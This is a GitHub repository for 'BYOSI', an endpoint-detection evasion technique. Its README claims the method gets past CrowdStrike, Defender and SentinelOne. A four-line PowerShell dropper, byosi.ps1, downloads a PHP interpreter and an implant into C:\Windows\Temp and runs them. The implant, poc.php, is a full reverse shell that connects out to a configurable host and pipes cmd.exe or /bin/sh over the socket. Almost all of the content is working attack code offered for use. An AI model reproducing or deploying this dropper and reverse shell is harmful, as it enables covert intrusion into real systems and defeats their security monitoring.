├── LICENSE ├── README.md ├── byosi.ps1 └── poc.php /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 oldkingcone 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BYOSI 2 | Evade EDR's the simple way, by not touching any of the API's they hook. 3 | 4 | 5 | ## Theory 6 | 7 | I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit. 8 | 9 | Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible. 10 | 11 | Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts. 12 | 13 | This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer. 14 | 15 | ## What this script does 16 | 17 | The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3): 18 | 19 | 1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'. 20 | 2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory. 21 | 3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.) 22 | 23 | With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild. 24 | 25 | ## Disclaimer. 26 | 27 | I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention. 28 | 29 | ## Thanks Section 30 | 31 | A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life. 32 | 33 | ## Edit 34 | 35 | ~~It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.~~ The issue now is that the PHP website has removed the initial zip archive, so youll have to modify that line of code, its line 1. find a version you want to use, and boom. popped a shell, defender doesnt flag the PHP script, no AV vendor properly identifies the script, this still works with a 100% success rate. 36 | 37 | ## Edit 38 | 39 | hello sentinel one :) might want to make sure that you are making links not embed. 40 | -------------------------------------------------------------------------------- /byosi.ps1: -------------------------------------------------------------------------------- 1 | wget https://windows.php.net/downloads/releases/php-8.3.6-nts-Win32-vs16-x64.zip -O C:\\Windows\\Temp\\php.zip 2 | Expand-Archive -Path C:\\Windows\\Temp\\php.zip -DestinationPath C:\\Windows\\Temp\\php 3 | wget https://raw.githubusercontent.com/oldkingcone/BYOSI/main/poc.php -O C:\\Windows\\Temp\\php\\poc.php 4 | & "C:\\Windows\\Temp\\php\\php.exe" @('C:\Windows\Temp\php\poc.php') 5 | -------------------------------------------------------------------------------- /poc.php: -------------------------------------------------------------------------------- 1 | array('pipe', 'r'), // shell can read from STDIN 14 | 1 => array('pipe', 'w'), // shell can write to STDOUT 15 | 2 => array('pipe', 'w') // shell can write to STDERR 16 | ); 17 | private $buffer = 1024; // read/write buffer size 18 | private $clen = 0; // command length 19 | private $error = false; // stream read/write error 20 | private $sdump = true; // script's dump 21 | public function __construct($addr, $port) { 22 | $this->addr = $addr; 23 | $this->port = $port; 24 | } 25 | private function detect() { 26 | $detected = true; 27 | $os = PHP_OS; 28 | if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) { 29 | $this->os = 'LINUX'; 30 | $this->shell = '/bin/sh'; 31 | } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) { 32 | $this->os = 'WINDOWS'; 33 | $this->shell = 'cmd.exe'; 34 | } else { 35 | $detected = false; 36 | echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n"; 37 | } 38 | return $detected; 39 | } 40 | private function daemonize() { 41 | $exit = false; 42 | if (!function_exists('pcntl_fork')) { 43 | echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n"; 44 | } else if (($pid = @pcntl_fork()) < 0) { 45 | echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n"; 46 | } else if ($pid > 0) { 47 | $exit = true; 48 | echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n"; 49 | // once daemonized, you will actually no longer see the script's dump 50 | } else if (posix_setsid() < 0) { 51 | echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n"; 52 | } else { 53 | echo "DAEMONIZE: Completed successfully!\n"; 54 | } 55 | return $exit; 56 | } 57 | private function settings() { 58 | @error_reporting(0); 59 | @set_time_limit(0); // do not impose the script execution time limit 60 | @umask(0); // set the file/directory permissions - 666 for files and 777 for directories 61 | } 62 | private function dump($data) { 63 | if ($this->sdump) { 64 | $data = str_replace('<', '<', $data); 65 | $data = str_replace('>', '>', $data); 66 | echo $data; 67 | } 68 | } 69 | private function read($stream, $name, $buffer) { 70 | if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream 71 | $this->error = true; // set the global error flag 72 | echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n"; 73 | } 74 | return $data; 75 | } 76 | private function write($stream, $name, $data) { 77 | if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream 78 | $this->error = true; // set the global error flag 79 | echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n"; 80 | } 81 | return $bytes; 82 | } 83 | // read/write method for non-blocking streams 84 | private function rw($input, $output, $iname, $oname) { 85 | while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) { 86 | if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length 87 | $this->dump($data); // script's dump 88 | } 89 | } 90 | // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS) 91 | // we must read the exact byte length from a stream and not a single byte more 92 | private function brw($input, $output, $iname, $oname) { 93 | $size = fstat($input)['size']; 94 | if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) { 95 | // for some reason Windows OS pipes STDIN into STDOUT 96 | // we do not like that 97 | // so we need to discard the data from the stream 98 | while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) { 99 | $this->clen -= $bytes; 100 | $size -= $bytes; 101 | } 102 | } 103 | while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) { 104 | $size -= $bytes; 105 | $this->dump($data); // script's dump 106 | } 107 | } 108 | public function run() { 109 | if ($this->detect() && !$this->daemonize()) { 110 | $this->settings(); 111 | 112 | // ----- SOCKET BEGIN ----- 113 | $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30); 114 | if (!$socket) { 115 | echo "SOC_ERROR: {$errno}: {$errstr}\n"; 116 | } else { 117 | stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS 118 | 119 | // ----- SHELL BEGIN ----- 120 | $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null); 121 | if (!$process) { 122 | echo "PROC_ERROR: Cannot start the shell\n"; 123 | } else { 124 | foreach ($pipes as $pipe) { 125 | stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS 126 | } 127 | 128 | // ----- WORK BEGIN ----- 129 | $status = proc_get_status($process); 130 | @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n"); 131 | do { 132 | $status = proc_get_status($process); 133 | if (feof($socket)) { // check for end-of-file on SOCKET 134 | echo "SOC_ERROR: Shell connection has been terminated\n"; break; 135 | } else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running 136 | echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams 137 | } // use proc_get_status() instead 138 | $streams = array( 139 | 'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR 140 | 'write' => null, 141 | 'except' => null 142 | ); 143 | $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS 144 | if ($num_changed_streams === false) { 145 | echo "STRM_ERROR: stream_select() failed\n"; break; 146 | } else if ($num_changed_streams > 0) { 147 | if ($this->os === 'LINUX') { 148 | if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 149 | if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 150 | if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 151 | } else if ($this->os === 'WINDOWS') { 152 | // order is important 153 | if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN 154 | if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET 155 | if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET 156 | } 157 | } 158 | } while (!$this->error); 159 | // ------ WORK END ------ 160 | 161 | foreach ($pipes as $pipe) { 162 | fclose($pipe); 163 | } 164 | proc_close($process); 165 | } 166 | // ------ SHELL END ------ 167 | 168 | fclose($socket); 169 | } 170 | // ------ SOCKET END ------ 171 | 172 | } 173 | } 174 | } 175 | echo '
';
176 | // change the host address and/or port number as necessary
177 | $sh = new Shell('127.0.0.1', 443); // change me.
178 | $sh->run();
179 | unset($sh);
180 | // garbage collector requires PHP v5.3.0 or greater
181 | // @gc_collect_cycles();
182 | echo '
'; 183 | ?> 184 | --------------------------------------------------------------------------------